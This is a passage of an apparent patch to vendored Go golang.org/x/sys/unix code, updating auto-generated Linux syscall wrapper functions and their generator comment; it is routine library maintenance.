-- _, _, e1 := Syscall(SYS_SETFSGID, uintptr(gid), 0, 0)
-+func setfsgid(gid int) (prev int, err error) {
-+ r0, _, e1 := Syscall(SYS_SETFSGID, uintptr(gid), 0, 0)
-+ prev = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1765,8 +369,9 @@ func Setfsgid(gid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setfsuid(uid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETFSUID, uintptr(uid), 0, 0)
-+func setfsuid(uid int) (prev int, err error) {
-+ r0, _, e1 := Syscall(SYS_SETFSUID, uintptr(uid), 0, 0)
-+ prev = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1876,8 +481,13 @@ func Statfs(path string, buf *Statfs_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func SyncFileRange(fd int, off int64, n int64, flags int) (err error) {
-- _, _, e1 := Syscall6(SYS_SYNC_FILE_RANGE2, uintptr(fd), uintptr(off), uintptr(n), uintptr(flags), 0, 0)
-+func Truncate(path string, length int64) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_TRUNCATE, uintptr(unsafe.Pointer(_p0)), uintptr(length), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1886,13 +496,8 @@ func SyncFileRange(fd int, off int64, n int64, flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Truncate(path string, length int64) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_TRUNCATE, uintptr(unsafe.Pointer(_p0)), uintptr(length), 0)
-+func Ustat(dev int, ubuf *Ustat_t) (err error) {
-+ _, _, e1 := Syscall(SYS_USTAT, uintptr(dev), uintptr(unsafe.Pointer(ubuf)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -2091,6 +696,21 @@ func mmap(addr uintptr, length uintptr, prot int, flags int, fd int, offset int6
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func futimesat(dirfd int, path string, times *[2]Timeval) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_FUTIMESAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Gettimeofday(tv *Timeval) (err error) {
- _, _, e1 := RawSyscall(SYS_GETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0)
- if e1 != 0 {
-@@ -2127,8 +747,13 @@ func Utime(path string, buf *Utimbuf) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func pipe(p *[2]_C_int) (err error) {
-- _, _, e1 := RawSyscall(SYS_PIPE, uintptr(unsafe.Pointer(p)), 0, 0)
-+func utimes(path string, times *[2]Timeval) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -2137,8 +762,8 @@ func pipe(p *[2]_C_int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func pipe2(p *[2]_C_int, flags int) (err error) {
-- _, _, e1 := RawSyscall(SYS_PIPE2, uintptr(unsafe.Pointer(p)), uintptr(flags), 0)
-+func pipe(p *[2]_C_int) (err error) {
-+ _, _, e1 := RawSyscall(SYS_PIPE, uintptr(unsafe.Pointer(p)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -2155,3 +780,28 @@ func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
- }
- return
- }
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func syncFileRange2(fd int, flags int, off int64, n int64) (err error) {
-+ _, _, e1 := Syscall6(SYS_SYNC_FILE_RANGE2, uintptr(fd), uintptr(flags), uintptr(off), uintptr(n), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func kexecFileLoad(kernelFd int, initrdFd int, cmdlineLen int, cmdline string, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(cmdline)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_KEXEC_FILE_LOAD, uintptr(kernelFd), uintptr(initrdFd), uintptr(cmdlineLen), uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_linux_ppc64le.go b/vendor/golang.org/x/sys/unix/zsyscall_linux_ppc64le.go
-index a8a2b0b0..888f21d3 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_linux_ppc64le.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_linux_ppc64le.go
-@@ -1,4 +1,4 @@
--// mksyscall.pl -tags linux,ppc64le syscall_linux.go syscall_linux_ppc64x.go
-+// go run mksyscall.go -tags linux,ppc64le syscall_linux.go syscall_linux_ppc64x.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build linux,ppc64le
-@@ -14,1270 +14,8 @@ var _ syscall.Errno
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fchmodat(dirfd int, path string, mode uint32) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ioctl(fd int, req uint, arg uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Linkat(olddirfd int, oldpath string, newdirfd int, newpath string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_LINKAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func openat(dirfd int, path string, flags int, mode uint32) (fd int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags), uintptr(mode), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_PPOLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(buf) > 0 {
-- _p1 = unsafe.Pointer(&buf[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_READLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_SYMLINKAT, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unlinkat(dirfd int, path string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func utimes(path string, times *[2]Timeval) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_UTIMENSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func futimesat(dirfd int, path *byte, times *[2]Timeval) (err error) {
-- _, _, e1 := Syscall(SYS_FUTIMESAT, uintptr(dirfd), uintptr(unsafe.Pointer(path)), uintptr(unsafe.Pointer(times)))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getcwd(buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETCWD, uintptr(_p0), uintptr(len(buf)), 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err error) {
-- r0, _, e1 := Syscall6(SYS_WAIT4, uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0)
-- wpid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func KeyctlInt(cmd int, arg2 int, arg3 int, arg4 int, arg5 int) (ret int, err error) {
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func KeyctlBuffer(cmd int, arg2 int, buf []byte, arg5 int) (ret int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(_p0), uintptr(len(buf)), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlJoin(cmd int, arg2 string) (ret int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg2)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall(SYS_KEYCTL, uintptr(cmd), uintptr(unsafe.Pointer(_p0)), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlSearch(cmd int, arg2 int, arg3 string, arg4 string, arg5 int) (ret int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg3)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(arg4)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlIOV(cmd int, arg2 int, payload []Iovec, arg5 int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(payload) > 0 {
-- _p0 = unsafe.Pointer(&payload[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(_p0), uintptr(len(payload)), uintptr(arg5), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlDH(cmd int, arg2 *KeyctlDHParams, buf []byte) (ret int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(unsafe.Pointer(arg2)), uintptr(_p0), uintptr(len(buf)), 0, 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func reboot(magic1 uint, magic2 uint, cmd int, arg string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_REBOOT, uintptr(magic1), uintptr(magic2), uintptr(cmd), uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func mount(source string, target string, fstype string, flags uintptr, data *byte) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(source)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(target)
-- if err != nil {
-- return
-- }
-- var _p2 *byte
-- _p2, err = BytePtrFromString(fstype)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_MOUNT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(_p2)), uintptr(flags), uintptr(unsafe.Pointer(data)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Acct(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_ACCT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func AddKey(keyType string, description string, payload []byte, ringid int) (id int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(keyType)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(description)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(payload) > 0 {
-- _p2 = unsafe.Pointer(&payload[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_ADD_KEY, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(payload)), uintptr(ringid), 0)
-- id = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Adjtimex(buf *Timex) (state int, err error) {
-- r0, _, e1 := Syscall(SYS_ADJTIMEX, uintptr(unsafe.Pointer(buf)), 0, 0)
-- state = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Chdir(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_CHDIR, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Chroot(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_CHROOT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ClockGettime(clockid int32, time *Timespec) (err error) {
-- _, _, e1 := Syscall(SYS_CLOCK_GETTIME, uintptr(clockid), uintptr(unsafe.Pointer(time)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Close(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_CLOSE, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func CopyFileRange(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_COPY_FILE_RANGE, uintptr(rfd), uintptr(unsafe.Pointer(roff)), uintptr(wfd), uintptr(unsafe.Pointer(woff)), uintptr(len), uintptr(flags))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup(oldfd int) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_DUP, uintptr(oldfd), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup3(oldfd int, newfd int, flags int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP3, uintptr(oldfd), uintptr(newfd), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCreate(size int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE, uintptr(size), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCreate1(flag int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE1, uintptr(flag), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCtl(epfd int, op int, fd int, event *EpollEvent) (err error) {
-- _, _, e1 := RawSyscall6(SYS_EPOLL_CTL, uintptr(epfd), uintptr(op), uintptr(fd), uintptr(unsafe.Pointer(event)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Eventfd(initval uint, flags int) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_EVENTFD2, uintptr(initval), uintptr(flags), 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Exit(code int) {
-- Syscall(SYS_EXIT_GROUP, uintptr(code), 0, 0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
-- _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off), uintptr(len), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchdir(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchmod(fd int, mode uint32) (err error) {
-- _, _, e1 := Syscall(SYS_FCHMOD, uintptr(fd), uintptr(mode), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fdatasync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FDATASYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Flock(fd int, how int) (err error) {
-- _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fsync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getdents(fd int, buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETDENTS64, uintptr(fd), uintptr(_p0), uintptr(len(buf)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpgid(pid int) (pgid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETPGID, uintptr(pid), 0, 0)
-- pgid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpid() (pid int) {
-- r0, _, _ := RawSyscall(SYS_GETPID, 0, 0, 0)
-- pid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getppid() (ppid int) {
-- r0, _, _ := RawSyscall(SYS_GETPPID, 0, 0, 0)
-- ppid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpriority(which int, who int) (prio int, err error) {
-- r0, _, e1 := Syscall(SYS_GETPRIORITY, uintptr(which), uintptr(who), 0)
-- prio = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getrandom(buf []byte, flags int) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETRANDOM, uintptr(_p0), uintptr(len(buf)), uintptr(flags))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getrusage(who int, rusage *Rusage) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETRUSAGE, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getsid(pid int) (sid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETSID, uintptr(pid), 0, 0)
-- sid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Gettid() (tid int) {
-- r0, _, _ := RawSyscall(SYS_GETTID, 0, 0, 0)
-- tid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getxattr(path string, attr string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(dest) > 0 {
-- _p2 = unsafe.Pointer(&dest[0])
-- } else {
